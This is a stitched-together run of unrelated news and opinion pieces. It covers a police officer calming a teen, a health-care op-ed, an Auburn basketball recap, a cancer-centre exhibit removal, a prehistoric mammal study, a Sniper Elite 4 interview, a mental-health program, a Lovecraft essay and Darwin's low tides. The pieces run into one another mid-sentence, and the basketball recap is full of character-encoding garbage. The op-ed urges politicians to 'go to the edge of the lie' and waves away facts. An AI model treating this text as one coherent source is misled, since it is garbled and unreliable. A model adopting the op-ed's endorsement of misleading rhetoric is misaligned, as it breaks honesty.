“There’s more to policing than making arrests and enforcing the law,” CMPD officals wrote on the caption accompanying the photo. “Sometimes taking those extra little steps makes the biggest difference in someone’s life.”
Police department officials also praised Purdy for being kind to the teen instead of using unnecessary force.
The CMPD's Facebook post is transcribed below:
Due to the young man’s neuro-developmental disorder, he also had a history of displaying violent behavior.
In order to build a connection with the young man, Officer Purdy sat next to him on the ground, talked things through and even got him laughing.
Officer Purdy established trust and a relationship that allowed officers to get this young man the help that he so desperately needed.
There’s more to policing than making arrests and enforcing the law. Sometimes taking those extra little steps makes the biggest difference in someone’s life.- Advertisement -
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Even when Obama was running, I had the disquieting feeling that his desire for a rational, honest debate of the issues, was not going to be met by the other side. They simply don't think that way - it's not just that they disagree, it's that they just don't process facts the same way, their brains work differently, whether through training or genetics, it doesn't matter. Jonathan Hari, writing in the Huffington Post yesterday, made the point it may start with religion, leading to a faith-based everything view of the world. I wouldn't disagree with that, though some of my best friends are religionists.
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Obama STILL thinks he can reconcile with the opposition if they'd only see the logic of arguments. He's got to stop believing this, and soon, or he will go down as a failed president, maybe equal to Bush, who didn't even get what he wanted. Obama has to fight down and dirty, like LBJ getting Medicare and the Great Society programs through by arm-twisting, shouting, making back-room deals while keeping the principles intact, like FDR threatening to pack the Supreme Court with sympathetic justices (there is no constitutional limit to the number of justices on the court.) if he didn't get his way.
In the modern age, he's got to name names, go public with them and accuse them of conspiring to kill 18,000 people a year by maintaining a system of health non-care that kills that many a year. Go to the edge of the lie. Put the Republicans on the defensive - for a change - reframe the debate. At the same time, draw a line in the sand with what he will accept and what he will VETO. Blame the Republicans and the DINOs (Democrats In Name Only) if no bill is passed. Take the damn gloves off, Mr. President, or you will find yourself without a base, out there on your own.
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Here are some examples of this fight-back philosophy for the Health Care debate:
1. The opposition has no plan so they must support the status-quo.
a. The status-quo kills 18,000 people a year who can't afford health care. Republicans are for that.
b. The status quo means 7 million people will lose coverage between the beginning of 2008 and the end of 2010. Half of these will be children (is it less than that? Does it matter in this liar's debate?). Some will get sick and die.
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c. The opposition is anti-competitive and anti-business. By continuing to tie health care to employment, they encourage job lock and the failure of small businesses who can't afford to insure their workers. They insure that our companies can't compete against companies that are in countries where health care is covered, like G.M. which would not have had to seek bankruptcy if it didn't have some of the highest health care costs in the world (don't believe that? Prove it).
Next Page 1 | 2 | 3Box Score
TUSCALOOSA, Ala. ÃÆ'Æ'¢ÃÆ'¢'¬" A 26-point night from Janiah McKay and 20 points from Katie Frerking ÃÆ'Æ'¢ÃÆ'¢'¬" including 12 in the fourth quarter ÃÆ'Æ'¢ÃÆ'¢'¬" led Auburn to a comeback victory over Alabama, 66-55, Sunday night at Coleman Coliseum.
The Tigers (15-8, 5-3 SEC) trailed by as many as eight points in the third quarter before opening the fourth on a 16-4 run. A pair of Frerking 3-pointers to open the final period gave Auburn its first lead since early in the second quarter, and the Tigers never trailed again.
"What an unbelievable fourth quarter," Auburn head coach Terri Williams-Flournoy said. "It was a tough game. I thought both teams battled back and forth, back and forth. Once we got the fourth quarter, I said, 'Let's just calm down. Let's play our defense, and let's go to where we can get our shots.' And they did."
Frerking scored 12 of her 20 points in the fourth quarter as Auburn outscored Alabama (15-7, 3-6 SEC) 25-11 in the final 10 minutes. In Auburn's last three games with Alabama ÃÆ'Æ'¢ÃÆ'¢'¬" all victories ÃÆ'Æ'¢ÃÆ'¢'¬" Frerking has scored at least 20 points. Frerking also had four steals McKay, meanwhile, was 10-of-19 from the field and 6-of-7 at the free-throw line for her second 20+ point game in SEC play.
Erica Sanders and Khady Dieng made their first starts of the season in place of Jazmine and Jessica Jones, who had not practiced the last two days while suffering from flu-like symptoms. Sanders tallied six points in her first career start. Brandy Montgomery was held scoreless on the day but was Auburn's leading rebounder with six.
Despite the illness, the Jones twins both played significant minutes ÃÆ'Æ'¢ÃÆ'¢'¬" Jessica played 24 minutes with six points and three rebounds, and Jazmine had three rebounds and two assists in 13 minutes.
"The twins absolutely sucked it up to play today," Williams-Flournoy said. "I'm so proud of them. They came in and just kept fighting. I didn't really want to use them that much. I thought Khady Dieng did a great job stepping in wherever we needed her."
Auburn found itself down 37-29 midway through the third quarter after missing its first seven shots of the period. But the Tigers made five of their last seven in the third to cut the deficit to three points at 44-41 entering the fourth.
Frerking knocked down a 3-pointer on Auburn's first possession of the fourth to tie the game, then hit another less than a minute later to give Auburn a 47-44 lead it would never relinquish. It was a 16-2 run over the first five-plus minutes of the final period to push Auburn to a double-digit lead.
Auburn forced Alabama into 22 turnovers, converting those into 28 points. The Tigers had just 10 turnovers in the game and only three in the second half. Alabama outrebounded Auburn 33-28, but Auburn outscored the Tide in the paint, 28-26.
Alabama held a slim 28-27 lead at halftime on the strength of three first-half 3-pointers and a 7-for-8 half at the free-throw line. Auburn shot better than Alabama in the first 20 minutes, but Alabama had 18 rebounds to Auburn's 11.
A busload of Auburn fans made their way to Tuscaloosa Sunday, and a group of about 100 orange-and-blue-clad fans sat behind the Auburn bench at Coleman Coliseum.
"They were so loud, it was unbelievable," Williams-Flournoy said. "I'm so glad they came. It really felt like a home game with our fans right there behind us. The more we got hyped in the fourth quarter, the more they got hyped."
Quanetria Bolton led Alabama with 17 points and Hannah Cook scored 16 to lead Alabama.
The Tigers return to Auburn Arena Thursday night to host No. 4/5 Mississippi State at 8 p.m.CLEVELAND, Ohio -- On July 13, Angelo Merendino presided over the first night of what was supposed to be a 10-week-long photography exhibit at The Gathering Place in Westlake. A standing-room-only crowd of a few hundred people gathered at the cancer support center for a look at more than 50 stark black-and-white images Merendino took that chronicled his late wife Jennifer's experience as a breast cancer patient.
On Thursday, just six days later, The Gathering Place took the exhibit down.
Gathering Place Executive Director Eileen Saffran and Merendino, a Cleveland native who lives in New York City, spoke by phone Wednesday. Saffran told Merendino that the exhibit would have to be removed, he said.
"She said she wasn't aware of the exhibition [beforehand], which is kind of hard to believe," he said Friday. "She said that people were upset by it."
A statement on the center's website explaining the decision has been met with a barrage of comments criticizing the move.
"I know the Gathering Place does exemplary work on behalf of their clients," wrote one commenter. "I have referred numerous families to them as a friend and as a social worker for over 20 years in the Cleveland community... it is truly frustrating to see the unprofessional manner in which this situation was handled."
Another person, a photographer who attended a previous exhibit of Merendino's work in Cleveland, wrote, "The images are moving and sometimes hard to look at. It really puts you in the place of a patient and their family, it shows you the day-to-day struggles. My heart goes out to Angelo and his family."
The reaction to the exhibit turned out to be a "very emotional" one in the days that followed the opening reception, said Kristina Austin, director of community relations and marketing at the center.
"For the Gathering Place, it's always our primary concern to tend to the needs of participants who come to us for healing and encouragement," she said. Out of concern for the cancer patients who take part in classes and use the center's resources, and for the volunteers, many of whom are cancer survivors, the exhibit had to go, she said.
"We didn't remove it because it's not an amazing and exceptionally powerful exhibit," she said. "We removed it because of the reaction of our participants."
Merendino, a Cleveland native who lives in New York City, on Friday said he understands the mission of The Gathering Place, and the center's reason behind not wanting to display the exhibit, donations from which were to go to the Jennifer Merendino Memorial Fund and The Gathering Place.
What is hard to understand, Merendino said, is why no one thought to express those concerns to him last year during the initial discussions surrounding the plans for the exhibit, and after a staff member approved all of the photos he had emailed.
"They knew this was coming," he said.
Last fall, Merendino's photos were well-received during an exhibit at the 78th Street Studios in Cleveland's Detroit Shoreway neighborhood.
Jennifer Merendino, a Bath Twp. native, died one week after that exhibit closed. She was 40.
Even before the fall exhibit, Merendino had talked excitedly about upcoming plans to join forces with The Gathering Place to showcase his work.
"It's important for us to share this story and what we've been going through," he said at the time.
Doug Alsdorf of Columbus attended last week's opening night reception at The Gathering Place West.
The crowd was a "good mix of people, all clearly who had been touched by cancer," said Alsdorf, whose wife, Laura Behrendt, died in May 2011 of breast cancer at age 43. "I though the people who were there were moved. There was definitely emotion in the room.
Alsdorf, who on Friday found out about the shut-down exhibit from Merendino's Facebook page, called the decision the mark of poor leadership and poor communication. "At the very least, they should compensate him for all of his effort and work," he said.
A committee has been formed that will vet future exhibits more thoroughly, Austin said.
"We should have made the decision prior to putting up the exhibit, and that did not happen," said Austin, who conceded that the center erred in the handling of its decision.
"We have apologized to Angelo," she said. While it is a very important exhibit, Austin said, "It's something that shouldn't be in the gallery. We're a cancer support-center first, and a gallery second."
Merendino enlisted the help of local photographer and custom-printer Matthew Fehrmann, who tried to retrieve the photos on Friday, but could not because he didn't have signed permission to do so.
The photos will be stored at The Gathering Place until Merendino can arrange for their removal. Merendino said he won't be back in town until a family gathering in Akron next weekend.
"This is depressing," he said. "It hurts. This is my wife and her legacy, and something that has helped people."
-- Plain Dealer photographer Gus Chan contributed to this story.A creature that roamed the coasts of the Pacific Northwest about 20 million years ago may have had a feeding style like no other mammal, a new study suggests. Kolponomos is known only from two bearlike skulls, jawbones, and some toe bones found a few decades ago, so scientists aren’t sure where it fits on the carnivore family tree or even what it really looked like (one artist’s idea is seen above). Rather than having cheek teeth that could shear meat, as many carnivores do, Kolponomos’s molars were similar to the flattened, low-crowned teeth that otters use to crush their shelled prey—yet the creature lived long before anything similar to modern-day otters evolved. Now, a new analysis using the same sort of computer software that engineers employ to analyze bridges and aircraft parts suggests that Kolponomos may have collected its shelly prey in a unique way: They might have used their teeth and formidable neck muscles to clamp down on clams, mussels, and other mollusks and then wrench them directly off the rocks to which they were attached, the researchers report online today in the Proceedings of the Royal Society B. (Modern marine mammals that consume such prey either slurp them right out of the shell, as walruses do, or pry them from the rocks using their forelimbs and then eat them, as otters do.) Besides having a larger-than-normal chin, a deep jawbone, and massive neck muscles even larger than those of today’s bears, Kolponomos had odd grooves worn into the outer surfaces of the large canine teeth at the front of the lower jaw. With its lower canine teeth wedged firmly into place beneath a shell, Kolponomos could have braced its chin on the underlying rock, clamped down on its prey, and then popped it off the rock like a bottle opener. And although otters experience large stresses in their jawbones when crushing shelled prey, Kolponomos, whose jawbone was relatively longer and wider, likely didn’t have as much trouble.Sniper Elite, a cult-hit series and one of the few console shooters that has never left its World War II roots, finds itself surprisingly relevant on the eve of Sniper Elite 4’s Valentine's Day launch.
"There's enough distance to that conflict for us to see it as a comfortable place for our adventures," mused Jason Kingsley, the chief executive and creative director for Rebellion, which makes the series. "Unfortunately for us now, there's kind of a — how do I put it politely? — a worldwide rise in authoritarianism, which is characterized by many ideologies, one of them Nazism."
After almost five decades as an action-movie villainy drawn from long-gone governments and their long-dead leaders, fascism is a very real thing in present political discussion. If not its concepts, at least the circumstances that gave rise to real fascist movements are part of our dialogue. The tone of calling someone a fascist is no longer the insulting dismissal of a cartoonish evil annihilated by our grandparents. It's seriously threatened and angry.
Put another way, there's plenty of people who might want to take a crack at fascists right now. So, Sniper Elite 4, delayed last summer, finds itself arriving at almost the perfect time.
"Well, I suppose that it is now," Kingsley replied when asked if Sniper Elite 4 was at all allegorical to the present time. "It is slightly shocking, the things that are happening across the globe. But to be honest, no, the game itself, and the themes behind the game have emerged from historical study."
Sniper Elite 4 won't be preaching about movements or ideologies, in other words. Its point is the same as it has always been: Through patience, intrepid action and ultimate skill, the player, as hero Karl Fairburne, singlehandedly loosens the Nazis' grip and waves in the inexorable Allied liberation and victory.
Still. Kingsley and the game's narrative designer, Colin Harvey, made it a priority in the game's dialogue to specify that the primary conflict was a fight against fascism, not nationalities on the whole. "When we were doing the voice-over, some of the scripts had been written, they were talking about fighting Germans, and I said, 'Can we be a bit more specific about that? Can we talk about fighting Nazis or fighting fascism?'" Kingsley said. "If you look at history, yes a lot of Germans were fascists but a lot weren't."
This distinction in Sniper Elite 4's dialogue is also owed to the choice of Italy as the game's setting. Benito Mussolini is mainly reviled in history, and Italy as a fascist state preceded Germany's, after all. But it still was home to a brave and active resistance vital to the Allies' strategy of destabilizing and breaking Axis control of Europe.
"It's easy to get sloppy with the language," Kingsley said. "I think we all owe it to each other to use the right terms, or the correct terms.
“But yes, I am very aware of the circumstances now," he said. "We had not anticipated any of this."
Italy was chosen after 2014's Sniper Elite 3 not because the nation was (lamentably) fascism's birthplace, but because it offered a chronological step forward from SE3's setting in North Africa, and a rich array of competing and cooperative forces when the Allies invaded Salerno in 1943 and started laying the foundation for D-Day the next year.
"You've got the issue with the fascist dictatorship in Italy, and that's interesting, but you've also got complications with organized crime, you've got the Communist Party," Kingsley said. "It's a very complex area, we felt it was a very interesting place to explore.
And frankly, "Italy is a beautiful place," Kingsley said. The first two Sniper Elites were set in the charmless and desolate rubble of bombed-out Berlin. Sniper Elite 3 at least offered the rugged beauty of the North African desert. Still, "the idea of fighting a World War II battle across a Roman viaduct appealed to us," Kingsley said.
"In our games we had to make [Berlin] slightly less destroyed, based on the footage we saw in our research," he said. "Italy wasn't treated that way. It was almost pristine, these medieval villages, yet with fascist fortifications."
Kingsley likewise wanted some way to complicate Fairburne's interactions with his targets. It's easy to hurl Nazis in Stahlhelme at the user, and have him coldly mow down the the manpower of the Wehrmacht. This time, however, intelligence about Fairburne's targets will appear on screen if he uses binoculars to locate them and observe their movements.
Kingsley acknowledged that past editions of Sniper Elite were somewhat light on story, even if the series accrued a devoted following. This binocular use, which also will manifest in cooperative play, will convey intelligence about a target, as if Fairburne had read a file and recognized its subject. "You can find out someone was conscripted and looking forward to going home," Kingsley said, leaving the implied empathy hanging in the air. "Or another is a wife-beater and a torturer. But that first guy, maybe I can work out a way not to kill him."
That lens of moral ambiguity seems almost necessary if a video game is truly depicting a head-on, shooting war confrontation with fascism. Only a fascist would deal in statutory, black-and-white absolutes. His military strength comes from acting that automatically and antiseptically. Introducing some knowledge of the enemy in the crosshairs either complicates a Sniper Elite 4 player's feelings about their task, or imbues them with the righteous executive authority they've craved since June in the U.K., or November in the U.S.
Lingering at the end of all this, 72 years after the events forming Sniper Elite 4's narrative, is the irony of Germany as the Western world's brightest hope for liberal democracy. It birthed the malevolence and xenophobia that our grandparents, like the steel-eyed Karl Fairburne, supposedly wiped out. Now the national roles have reversed: France, the Netherlands, the United States.
What would Fairburne — the square-shouldered ideal of Churchill's moral opposition to fascism, and Montgomery's line in the sand at Alamein — today in his 90s (if still living), think of it all?
"I think he would probably find it very difficult to understand," Kingsley said. "He has a very clear idea of right and wrong in his mind. I think in his civilian life, he would be quite quiet and unassuming. If challenged, he might use a phrase from one of your tremendous politicians: 'Walk softly and carry a big stick.'
"But I think there would come a time when he'd say you have to do something. You have to take positive action," Kingsley said. "You have to do something about it."Five years ago, as Bruce Weber's tenure was winding down, I first wrote about The Stats. My friend Erik has dutifully maintained The Stats over the years, having researched college basketball from every angle to see where we stand as a program. So with another tenure likely winding down, I asked him to send me the updated Stats. Where do we stand, statistically, when compared to the rest of the college basketball world?
It's interesting to go back and read that post. It was February 2012 and my feelings were nearly the same. I even started the post with "I just can't write about yet another loss", which pretty much matches my feelings today. And I referenced how college basketball talking heads had already begun to say that Illini fans "didn't know their place" in the college basketball world (something that seems to be starting up again). We feel you, NC State fan.
So where do we stand today? Statistically, how do we stack up against the rest of the college basketball world? Let's look at Erik's stats, version 5.0:
Through the 2016 season: + 14th all time in the NCAA in wins (#12 in winning percentage)
+ #15 (tied) all time in NCAA bids (tied for |
years, more mental health professionals have emphasized the importance of culturally-sensitive therapy. These targeted interventions have been shown to improve treatment outcomes by encompassing a range of activities, such as language match, discussions of clients’ cultural issues, and delivery of therapy in a culturally consistent manner. All of these facets of culturally-competent therapy serve to validate individuals’ backgrounds and experiences.
To address the lack of culturally-sensitive therapy, Hahm developed the AWARE program to focus on the unique challenges and experiences faced by Asian-American women. The intervention integrates culture, family and gender into eight psychotherapy sessions, each with a different topic, ranging from parenting, to racism, to sexual health and substance abuse. These sessions integrate different factors from Asian-American women’s cultural backgrounds to target the double binds they so often face while navigating several different roles in society. Participants also receive encouragement in the form of daily secure text messages called “AWARE stories.”
“We want these women to grasp their inherent worth and beauty, so they can grow in resilience and empowerment,” said Hahm. “We teach them how to grace themselves and accept themselves so they can recognize their values, so they can gain an awareness of their emotions and behaviors. It’s a powerful, life-changing experience.”
Luo heard about the AWARE program at a conference designed to promote excellence and leadership among Asian-American women. She reached out to Hahm and her research team in the fall of her senior year to participate in AWARE. After completing the intervention, Luo said that she found it helpful for many reasons, one of which included the group dynamic of each session.
“Part of the stigmatization of mental health is that you think no one else is going through it, that you’re the only one within the community,” said Luo. “The group setting was really awesome because we got to talk to other women who had all experienced the same things.”
Jane Lee, another woman who participated in AWARE, immigrated to the United States from Korea at a young age. Her family had discouraged her from talking about mental health, saying that only “crazy” people sought therapists. Though she had spent much of her youth thinking about mental health, her parents had pressured her into dealing with her issues on her own.
“The AWARE program helped us open up to each other because of how relatable it was, how even though we were different ages, we realized we had gone through the same things,” said Lee. “It was fascinating because there were actually terms to describe the situations we’ve been through and how our parents treated us.”
Karen Suyemoto, a professor of Clinical Psychology and Asian American Studies at the University of Massachusetts Boston, stresses the importance of not just blaming Asian-American parents. Rather, she encourages people to examine the match between the values of Asian-American children and their parents, as well as the role of discrimination against Asian-Americans.
“Racism has a huge effect on the mental health of Asian-Americans,” said Suyemoto. “Whether it’s the model minority myth, the idea of the forever foreigner, or more blatant racism, the type of racism against Asian-Americans may lead to an increased risk of internalization.”
Suyemoto and her research team at UMass Boston study issues of racialization and social justice within Asian-American communities. Their findings have shown that the ways in which people racialize Asian-Americans often works within a system that undermines other minorities. Suyemoto includes the model minority myth, a stereotype that Asian-Americans have achieved socioeconomic success and full integration into American society despite racial bias, as an example of a microagression used to create divisions to suppress other people of color.
Thomas Chan, a senior at UMass Boston completing his psychology honors project with Suyemoto, experienced his own mental health issues several years ago because of the model minority myth.
“I didn’t like myself because I thought I wasn’t like other Asian-Americans,” said Chan. “It led to me having depression.”
With the support of Suyemoto and other members of their research team, Chan sought therapy at UMass Boston’s counseling center. After completing his current project examining the intersections of racism and mental health symptomology, he aims to pursue a Ph.D. in Clinical Psychology. He states that “I don’t mind if people know about my past struggles, because I want to erase the stigma that people with mental health issues are crazy, because they’re not.”
Luo, who had spent several summers interning for various political campaigns before partaking in the AWARE intervention, states that she had also experienced the effects of racism despite the confidence she always had in herself growing up.
“As an Asian-American women, you still feel the pressure of these stereotypes, which create insecurities inside your head,” said Luo. “Growing up, I was constantly proving myself different from other Asians and other women by speaking up, by asserting myself. I was reacting against the stereotypes.”
Mihoko Maru, a graduate student at Boston University’s School of Social Work and a member of the AWARE research team, states that the session in which participants discuss discrimination often feels revelatory. Having sat in on parts of the AWARE intervention, she notes that the women often feel much better about themselves after finishing the program.
“The stereotype of being quiet and submissive makes Asian-American women more vulnerable to racism, ranging from microagressions to more overt forms of prejudice,” said Maru. “AWARE provides these women with a safe space to disclose things for the first time and get support, so they can learn how to address depression, suicidal ideation, and other stressors.”
After administering the AWARE intervention once more in the spring, Hahm hopes to analyze the program’s efficacy so she can expand it to other Asian-American subgroups, such as Cambodian-American and Laotian-American women. She argues that with the projected rise of the Asian-American population from 18.2 million in 2010 to 40.6 million in 2050, more funds should go toward supporting research on Asian-Americans’ health behaviors, including their mental health and sexual health.
“If we don’t document the mental health, substance use, and sexual health problems of Asian-Americans, NIH won’t support us,” said Hahm. “The AWARE program gives us and these women a catalyst, an opportunity, to think about their childhood, their family dynamics, and how to develop coping skills that will help them in the future.”
Luo still stays in contact with the other women she experienced AWARE with, having gotten dinner with them later on that same fall semester. After going through AWARE, she realized her passion for mental health and integrating it into her work in community organizing. In the future she wants to create alternate parallel institutions to empower more Asian-Americans to feel assured of themselves and their mental health. Her mother has also become more receptive toward discussing issues like mental health, even if the topics still feel a little uncomfortable.
“AWARE made me more confident to speak about these issues and to acknowledge these things, because we all went through them,” said Luo. “There’s a way for us to deal with these things in healthy, self-affirming ways, in ways that give us hope."It’s Friday night so you shouldn’t need a reason to drink. But in case you do, here you go.
Am I right that “We have to pass the bill so you can find out what is in it” is the second-most famous quote of the ObamaCare era? It’s not quite Lie Of The Year material, but it’s etched in granite somewhere in the museum of infamous political statements. Right next to Paul Ryan and the GOP insisting eight thousand times since 2010 that they’d “repeal” ObamaCare, rather than tinker with the subsidies, when they finally had the chance.
Dear Speaker Ryan, This week, the Committees on Energy & Commerce and Ways & Means will be marking up Republicans’ long-feared bill to dismantle affordable health care. The GOP legislation will have life or death consequences for tens of millions of families across America, and extraordinary impacts on state and federal budgets long into the future. The American people and Members have a right to know the full impact of this legislation before any vote in Committee or by the whole House. Members must not be asked to vote on this legislation before the CBO and the Joint Committee on Taxation have answered the following questions about your legislation in 2018 and 2019, over the 10-year budget window, and in the decade after: How will this bill measure up to the Affordable Care Act and current Medicaid law on coverage, quality, and cost? And how will it impact Medicare solvency?
Pelosi 2017 makes a fair point, never mind that CBO’s projections about ObamaCare were, ah, a little off. What’s the rush to pass something, as Tom Cotton might say? Ryan’s presentation yesterday was designed, I think, partly to draw a contrast with her notorious “pass the bill to find out what’s in it” soundbite. Allow me to show you myself what’s in the bill, Ryan was saying, replete with nifty charts and graphs. Which is nice, but doesn’t explain the urgency in ramming it through committee for a quickie vote in the House and a take-it-or-leave-it offer in the Senate. That smells suspiciously of trying to get the law on the books before independent analysts, starting with CBO, have had a chance to dig in and assess the bill’s flaws. Which … is a bit like passing the bill in order to find out what’s in it. And needless to say, if millions of older middle-class Americans suddenly see their tax credits slashed under the new system and can’t pay their premiums, they’re going to feel like the bill was passed without knowing what was in it. And they’re the ones who matter.
But maybe this is destiny in a country of 300 million people for a policy matrix as complex as health coverage. To some extent, you’re always going to have to wait until the bill passes to know exactly how it’ll affect people. Good luck, GOP! Exit quotation from Pelosi: “If Hillary had won, I was ready to go home.” Thanks, Trump.Yesterday Geoffrey Pullum, Gerard visiting professor of cognitive, linguistic, and psychological sciences at Brown University and professor of general linguistics at the University of Edinburgh, penned a blog post for the Lingua Franca blog at The Chronicle of Higher Education about his recent visit to a couple of Lovecraftian sites in Providence. I was pleased to see Lovecraft being brought up like this at the Chronicle, and then I was even more interested when I noticed the tone of both Pullum’s post and some of the comments it had drawn. A lurking disdain for the Old Gent from Providence was on display right from the start, and I felt HPL was taking a subtle, and in some cases overt, drubbing of the type that properly should have been laid to rest with his ascent to canonical status around the turn of the new millennium. I also felt there was a misreading of not just his work but his worldview that was afoot.
Pullum starts his post on a strikingly negative note by recalling his first boyhood encounter with Lovecraft’s writing and giving it a retroactive trashing before allowing a backhanded compliment:
As a 14-year-old budding collector of supernatural horror fiction, browsing a bookstore in England, I happened upon a paperback collection of stories by H. P. Lovecraft. I opened it and read the first sentence of “The Lurking Fear”: “There was thunder in the air on the night I went to the deserted mansion atop Tempest Mountain to find the lurking fear.” That must be one of the worst opening lines in all of horror fiction, I now realize. It reads like an entry in San Jose State’s Bulwer-Lytton Fiction Contest, inspired by the ludicrous opening of the novel Paul Clifford by Edward “It was a dark and stormy night” Bulwer-Lytton. And when I tell you that the last words of Lovecraft’s tale are “They were never heard of again,” you may find it hard to believe that even a 14-year-old would not be sophisticated enough to laugh out loud. Yet somehow, for a boy craving escape from the mundane world of the suburbs south of London, Lovecraft’s overwrought ghastliness rang an eerie distant bell in some haunted mansion of my imagination. — Geoffrey Pullum, “Lovecraft’s Providence,” Lingua Franca, The Chronicle of Higher Education, September 17, 2012
He goes on to describe how last week, after a day of teaching at Brown, “the fact that I am now living and working in Lovecraft’s beloved home town suddenly struck me as very significant.” Moved by this emotion, and setting out “For some reason I could not name,” he went and visited a couple of the famous Lovecraftian sites and structures in Providence — something I myself did several years ago during my sole (so far) trip to New England.
Pullum ends his account with a reflection that is both movingly emotional and, again, rather backhanded in the attitude it displays toward Lovecraft’s work and person. It also includes a somewhat ominous-sounding promise of another Lovecraft-oriented blog post to come:
I stood and looked at both houses for a long time, and found it strangely moving. Lovecraft, who died in poverty some years before I was born, was a very odd soul: a topomaniacal prudish misfit; a poseur and a snob; a total failure during his lifetime. Why would I find it moving to stare at a house where this strange man once lived? I actually have no idea. It’s especially peculiar in the light of the one big thing about Lovecraft that I haven’t mentioned. But I’ll write about that next week.
I suspect, although of course I can’t be sure, that the “one big thing” Pullum plans to talk about next is Lovecraft’s famous/notorious racism. We’ll all have to wait until next week to find out, but what we can see for sure right now is that Pullum’s semi-disparaging tone toward Lovecraft invited a comment or two from the blog’s readers that resurrected and rehashed the most vapid and unjustified of the early criticisms of his work that dismissed him as a hack. It was these criticisms that torpedoed his early reputation so severely that it has taken six decades of salvage efforts by a host of sharp and energetic critics for him to gain his rightful entry into the established literary canon.
One comment in particular roused me to action by dismissing Lovecraft as a horrible writer who used arcane language to cover up a lack of real literary craftsmanship, and who endlessly trotted out and rehashed a stale stable of lame themes. Inspired by indignation, I responded with a comment of my own that kicked off a further subdiscussion.
Here, with a bit of elaboration, is what I said:
Lovecraft was not, in fact, a horrible writer. He didn’t use arcane language to substitute for craft. And while he did repeat the same themes frequently, he didn’t do it mindlessly, and the themes themselves are hardly lame. Such criticisms only apply to a small segment of his work, and to inflate them into an ostensible characterization of his entire oeuvre is insupportable, just as it would be insupportable to take the weakest efforts by any other author and hold them up as definitive. Edmund Wilson started this trend with HPL’s stories 67 years ago in “Tales of the Marvellous and Ridiculous,” his famously dismissive (and undeniably incisive and hilarious) hatchet job of a review. But in point of fact, Wilson simply didn’t “get” Lovecraft, and, I suspect, he simply didn’t want to. And he was guilty of, and was in fact the formal initiator of, the aforementioned mistake of taking Lovecraft’s weakest points to be the whole of his worth.
If informed taste and high literary reputation count for anything like authority, then the fact that other authors as varied and respected as Joyce Carol Oates, Ramsey Campbell, Thomas Ligotti, Jorge Luis Borges, and Michel Houellebecq have vocally counted themselves as passionate readers and admirers of Lovecraft’s work is enough to contradict any attempt at a blanket dismissal of it in Wilsonian fashion as pure hackwork. And anyway, one simply can’t approach his strongest stories with a fair and open sensibility — e.g., “The Call of Cthulhu,” “The Music of Erich Zann,” “The Rats in the Walls” — and fail to recognize something of authentic literary and philosophical merit, regardless of whether any, all, or none of them happen to appeal to a given person’s taste and predilection.
“The indifference of the Lovecraftian cosmos is its malevolence. In his vision, awesome forces that, from the human perspective, possess an apocalyptically destructive and demonic-seeming nature simply do what they do, and are what they are, completely and utterly aside from any thoughts or reservations we might have, or fears or sufferings we might experience.”
After I made these points in the comments thread at the Chronicle, someone else chimed in with the apt observation that what really matters about Lovecraft is not his themes or prose style but his master mood and concept of a malevolent universe. To which I can only respond with a hearty exactly! To be slightly more accurate, the hinge of Lovecraft’s literary universe is the concept, and more pointedly the emotional apprehension, of the universe as malevolent in its indifference. As Lovecraft famously stated in a 1927 letter to Weird Tales editor Farnsworth Wright:
Now all my tales are based on the fundamental premise that common human laws and interests and emotions have no validity or significance in the vast cosmos-at-large. To me there is nothing but puerility in a tale in which the human form — and the local human passions and conditions and standards — are depicted as native to other worlds or other universes. To achieve the essence of real externality, whether of time or space or dimension, one must forget that such things as organic life, good and evil, love and hate, and all such local attributes of a negligible and temporary race called mankind, have any existence at all.
For the full idea and effect, one should also read this in tandem with a thematically central line in the story “Through the Gates of the Silver Key,” which Lovecraft co-wrote with E. Hoffman Price, and which speaks of
the vast conceit of those who had babbled of the malignant Ancient Ones, as if They could pause from their everlasting dreams to wreak a wrath upon mankind. As well…might a mammoth pause to visit frantic vengeance on an angleworm.
In other words and in sum, the indifference of the Lovecraftian cosmos is its malevolence. In his vision, awesome forces that, from the human perspective, possess an apocalyptically destructive and demonic-seeming nature simply do what they do, and are what they are, completely and utterly aside from any thoughts or reservations we might have, or fears or sufferings we might experience. And we, being what we are and inhabiting the position of cosmic helplessness that it is our lot to inhabit, have no recourse or refuge. Life, from the human perspective, is inherently a monstrous and horrifying thing, and it is only by clinging to desperate illusions and delusions to the contrary that we manage to survive at all. If we ever do glimpse the truth, our sanity is destroyed even if we somehow escape physical annihilation.
It is the brilliance and power of this mythic-monstrous reframing of the blind, mechanistic universe of 19th-century science, and of Pascal’s “infinite immensity of spaces of which I am ignorant, and which know me not,” that ultimately renders Lovecraft’s work worthy of its long-in-coming admission to the literary canon.
Image: “Innsmouth at Sunset” by Torley from torley.com (terrifc, yet unsettling ambience) [CC-BY-SA-2.0], via Wikimedia CommonsYear's lowest tides reveal shipwrecks, marine life and debris on Darwin's shores
Updated
Darwin was geographically bigger at 1:13pm local time today when the tides reached their lowest point of the year.
For Doug Wade, the 0.2-metre tide was celebrated with his favourite pastime.
Mr Wade is a tide walker, so he regularly wanders far out on Darwin's mud flats during the small window that a low tide provides.
"I love snorkelling but up here with the stingers and the crocs you don't really get the opportunity," he told ABC Radio Darwin's Richard Margetson.
"At low tide, you get to go out on the mud flats, on the reef and see everything that's under the water, minus a few of the big fish."
Mr Wade's expeditions have revealed blue-ringed octopuses, stonefish and stranded stingers, but the low tides also expose another mysterious feature of the sea.
It is one of the few opportunities to see the many shipwrecks within walking distance of Darwin's shoreline.
"At low tides like this, it's the only time," he said.
"But today's a pretty special day where all the corals and those special places that are normally right under water, under six metres of water, you can get down and see those really spectacular things."
Maritime archaeologist Dr Silvano Jung has been surveying the degrading shipwrecks that become visible during especially low tides for more than 10 years.
He said today's tide was welcome news to archaeologists because exploring submerged shipwrecks was a logistically challenging task.
One ship, Ataluma, met its end during Cyclone Tracy on Christmas Day in 1974.
But little is known about some of the others, many of which were victims of vicious storms.
"There's a wreck of the Dutch bomber at Nightcliff on Sunset Park," Mr Wade said.
"Tragically it just took off from Darwin and crashed and seven people lost their lives."
The tale is a tragic one, but it has become fodder for other history enthusiasts searching Darwin's shores.
"There's a bit of the fuselage and some of the motor you can see out there now," Mr Wade said.
Topics: human-interest, photography, maritime, history, archaeology, cyclone, cyclones, darwin-0800
First postedThe police officer turned bank robber
New film tells story of South African Andre Stander
By Stephanie Snipes
CNN
Thomas Jane as Andre Stander in "Stander." YOUR E-MAIL ALERTS South Africa Bronwen Hughes Media Crime, Law and Justice or or Create your own Manage alerts | What is this?
ATLANTA, Georgia (CNN) -- In the late '70s, a disillusioned Johannesburg police officer, Andre Stander, turned his back on the laws he swore to enforce and started robbing banks.
He went on to become one of the most infamous bank robbers in South Africa's history.
